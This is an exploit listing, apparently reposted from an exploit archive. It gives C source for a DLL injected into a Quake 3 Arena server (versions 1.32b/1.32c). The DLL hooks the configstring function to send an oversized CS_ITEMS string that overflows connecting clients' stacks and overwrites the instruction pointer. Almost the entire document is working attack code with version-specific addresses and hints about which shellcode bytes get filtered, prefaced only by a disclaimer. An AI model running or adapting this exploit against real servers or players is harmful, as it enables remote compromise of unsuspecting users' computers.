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Quake 3 Engine Client CS_ITEMS Remote Overflow Exploit (Win32)
============================================================== Quake 3 Engine Client CS_ITEMS Remote Overflow Exploit (Win32) ============================================================== /* Quake 3 Engine Client CS_ITEMS Remote Stack Overflow Exploit (Win32) Written by RunningBon E-Mail: runningbon@gmail.com IRC: irc.rizon.net #kik This is a DLL, which gets injected into the server exe. You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/) I recommend you compile this with Microsoft Visual C++ Use this responsibly. You are responsible for any damage you cause using this. Info: The engine strips bytes >127, '%', and '\0' before it overflows, so you will need encoded shellcode and an EIP which doesn't contain any of these characters. */ #include <stdio.h> #include <windows.h> #include <detours.h> struct VersionStruct { char *pVersionString; DWORD dwVersionStringAddr; DWORD dwSetConfigstringAddr; DWORD dwFillSize; DWORD dwNewEIP; int iCS_ITEM; }; VersionStruct Versions[] = { { "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32c { "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32b }; VersionStruct *pVersion = NULL; void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal); void SV_SetConfigstring_Hook(int iIndex, const char *pVal) { char szString[4096]; char *pPtr = NULL; if(pVersion != NULL) { if(iIndex == pVersion->iCS_ITEM) { memset(szString, 0, sizeof(szString)); pPtr = &szString[0]; memset(pPtr, 'a', pVersion->dwFillSize); pPtr += pVersion->dwFillSize; memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD)); pPtr += sizeof(DWORD); orig_SV_SetConfigstring(iIndex, szString); return; } } orig_SV_SetConfigstring(iIndex, pVal); } bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) { if(dwReason == DLL_PROCESS_ATTACH) { for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++) { if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString)) { pVersion = &Versions[i]; break; } } if(pVersion == NULL) { //Could not find correct version return 1; } DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr, (BYTE*)SV_SetConfigstring_Hook); _asm mov [orig_SV_SetConfigstring], eax } return 1; } # 0day.today [2024-12-25] #